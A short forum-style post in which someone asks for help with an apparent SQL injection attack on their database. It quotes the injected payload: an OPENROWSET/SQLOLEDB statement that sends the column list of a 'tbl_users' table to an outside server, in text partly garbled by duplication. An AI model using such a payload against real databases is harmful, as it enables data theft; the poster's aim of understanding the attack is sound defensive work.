Please Help Me Figure Out This Sql Injection...possible Hack To My Database.

INSERT INTO OPENROWSET ('SQLOLEDB','UID=as) <INSERT INTO OPENROWSET ('SQLOLEDB','UID=as)>; PWD= <PWD=>; NETWORK=DBMSSOCN <NETWORK=DBMSSOCN>; ADDRESS=111.22.333.44 <ADDRESS=111.22.333.44>; 1433 <1433>; ' <'>; 'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION <'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION>; --sp_useradmin <--sp_useradmin>